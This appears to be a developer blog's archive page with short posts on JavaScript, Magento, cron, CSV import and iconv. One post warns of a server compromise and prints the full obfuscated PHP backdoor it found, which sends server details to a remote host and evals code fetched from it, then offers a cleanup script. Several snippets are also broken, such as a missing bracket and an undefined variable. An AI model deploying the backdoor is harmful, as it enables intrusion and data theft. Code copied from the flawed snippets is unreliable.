home | contact us
» » September


If you are trying to use associative arrays in Javascript, the first thing is to not use the Array type and instead just use objects.

The weird and wonderful thing is that if you create your array as an object, you can still use the array style square brackets to access object properties.

So for example take this:

var assocArrayObject = {"key1":"value1", "key2":"value2"};

alert(assocArrayObject["key1");

You can also access object properties by using a dynamic key this way as well, but not via the normal method, for example


var dynamicKey = "key1";

//doesnt work
alert(assocArrayObject.dynamicKey);

//does work
alert(assocArrayObject[dynamicKey]);

easy when you know how, took me a while to clear this one up :)


 

One of the really cool features of Magento is the ability to easily setup a multistore on one installation of Magento. If you have never done it before though it can be a little tricky.

Here is very brief guide:

First create the stores. This is all done via the Magento administration.

System-Manage Stores

foreach store that you want, create a website, store and store view. Make a note of the codes as you need those in the code below.

Then in your index.php file have some code like this:

umask(0);

    switch($_SERVER['HTTP_HOST']) {

     case 'first-store.com':
     case 'www.first-store.com':
        Mage::run('store1', 'store');
     break;

     case 'second-store.com':
     case 'www.second-store.com':
        Mage::run('store2', 'store');
     break;


     case 'third-store.com':
     case 'www.third-store.com':
        Mage::run('store3', 'store');
     break;
    
     default: //run the default store if for some reason the above hasn't worked.
        Mage::run();
     break;
      } 

 

I’m currently working on a project that has some really heavy javascript requirements. For the project I decided on using jQuery to implement the required functionality. Now having only used jQuery for a few days I have to say I’m impressed with how easy and intuitive it is.

That combined with the excellent jQuery support in Netbeans (my IDE of choice) is making this a real pleasure to work with :)


 

If you have some cron jobs set up and you are finding large amounts of files saved in your home directory (or root) then perhaps you have the same issue I had.

I was using wget to call on some PHP scripts to run periodically. wget will do what it says on the tin and save the files. If you don’t want it to do that, you need to add the following in front of your wget command:

-O /dev/null 

eg

wget -O /dev/null http://script.com/script.php

 

If you get an error message like this:

Fatal error: Call to a member function getDbVersion() on a non-object in /var/www/magento/app/code/core/Mage/Core/Model/Resource/Setup.php on line 136

Then it looks like your app/etc/config.xml file has been corrupted somehow.

Restore this file from a backup or otherwise replace it and hopefully you should be back in business.


 

If you suddenly find a load of weird php files in your server with contents a bit like this:

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="bbb9c757ee480495e0311cdcd352dfb1") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

Then it looks like your server has been compromised and you immediately need to change your FTP password to something long and secure.

After that, ideally restore a backup of your site that does not include the dodgy files. Alternatively you might find this PHP script useful for cleaning things out:

Note – No warranty or anything for this script. Use it as it is or customise it to fix your particular requirements.

To use it, get a copy of the infected file structure. CHMOD it all to 777 so that we can edit the htaccess files (dont forget to change permissions again once its done). Put this script in the root folder and visit it in your browser.

It will tidy up all the htaccess files and will remove all the dodgy files.

<?php

/* recursively delete all php files that are numeric titles, then edit all htaccess files and remove the 404 message */

$directory=getcwd();

$dirs = dir_list(getcwd());

clean($dirs, $directory);

function clean($dirs, $directory){	
	foreach($dirs as $k=>$v){
		if(is_array($v)){
			clean($v, "$directory/$k");
		}else{
			if(preg_match('%^([0-9]+?)\.php$%', $v)){
				echo '<h3>Cleaning: '.$directory.'</h3>';
				echo '<br>'.$v;
				echo '<br>'.$directory.'<br>';
				$htaccess=file_get_contents("$directory/.htaccess");
				$pattern = '%ErrorDocument(.+?)([0-9]+?)\.php$%';
				$clean_ht = preg_replace($pattern, '', $htaccess);
				unlink("$directory/.htaccess");
				file_put_contents("$directory/.htaccess", $clean_ht);
				unlink("$directory/$v");
				echo '<h3>Cleaned: '.$directory.'</h3>';				
			}
		}
	}
}


function dir_list($directory, $ext=false){
	//echo $directory;
	if ($handle = opendir($directory)) {
		while (false !== ($file = readdir($handle))) {
			if($file != '.' && $file != '..'){
				if(is_dir($directory.'/'.$file)){
					$return[$file]=dir_list($directory.'/'.$file, $ext);			
				}elseif($ext != false){
					if($ext == file_ext($file)){
						$return[] = $file;
					}			
				}else{
					$return[] = $file;
				}
			}
		}
		closedir($handle);
		return $return;
	}else{		
		echo '<h3 style="color: red;">Error opening directory ' . $directory . '</h3>';
		return false;
	}
}

http://www.phpfreaks.com/forums/index.php?topic=251135.0
http://wordpress.org/support/topic/220523
http://www.experts-exchange.com/Web_Development/Web_Services/Q_24209148.html


 

After finding the main Magento forum a bit frustrating to use I have decided to launch our own Magento Forum.

Its totally empty at the moment but we will be keeping an eye on it and will try to answer any Magento questions that come up on the board.

We are finding that more and more people are launching new sites or migrating existing sites to the Magento platform. We are big believers in the platform and although it isn’t perfect (what is) it has a hell of a lot going for it and is definitely the most exciting open source ecommerce platform out there right now, and we suspect for a good few years to come.

So feel free to drop by and start a thread. Don’t be shy – take advantage of the quiet to get quick answers to your Magento questions in a convenient forum.

Magento Forum


 

This little PHP function will allow you to import a csv or tab etc delimited text file into a database table. Handy if you need it :)

function build_table_from_file($tablename, $filepath, $delim="\t") {
    db_query("DROP TABLE IF EXISTS $tablename");
    $fp=fopen($filepath, 'r');
    $headers=false;
    while($r=(($delim=='csv')?fgetcsv($fp):fgets($fp))) {
        if($delim!='csv'){
            $r=explode($delim, $r);
        }
        if(!$headers) {
            foreach($r as $h){
                $headers[]=trim($h);
            }
            $sql = "CREATE TABLE $tablename
                         (
                            <code>id</code> INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,";
            foreach($headers as $h) {
                $sqls[]=" <code>" . db_in($h) . "</code> TEXT NOT NULL ";
            }
            $sql .= implode(', ', $sqls) . "
                        ) ENGINE = MYISAM ";
            db_query($sql);
            continue;
        }
        $sql = "insert into $tablename set ";
        $sqls=array();
        foreach($headers as $k=>$h) {
            $sqls[] = "<code>$h</code> = '" . db_in($r[$k]) . "'";
        }
        $sql .= implode(', ', $sqls);
        db_query($sql);
        pbar();
    }
}

 

If you are struggling with a UNICODE file in your PHP scripts and aren’t ready or able to make the jump to PHP5.3 then this little snippet might help you out:

$converted = dirname(__FILE__).'/converted.txt';
$source= dirname(__FILE__).'/source.txt';
shell_exec("iconv -o $conv  -f UNICODE -t UTF-8 -V $converted");

Its using the Linux iconv command. Of course it requires you to be running on Linux.


 

Magento, the ecommerce package that everyone is talking about at the moment and that Edmonds Commerce have been keeping a close eye on for the past couple of years or so has won the best of open source enterprise software award for the second year running.

Run by InfoWorld, the awards highlight the cream of the current open source crop. Unsurprisingly Drupal came out top for content management, it is definitely the CMS that Edmonds Commerce would recommend and Magento took the Ecommerce Crown. The blog award went to wordpress (what an awesome application).

You can see the full line up here


 
rss icon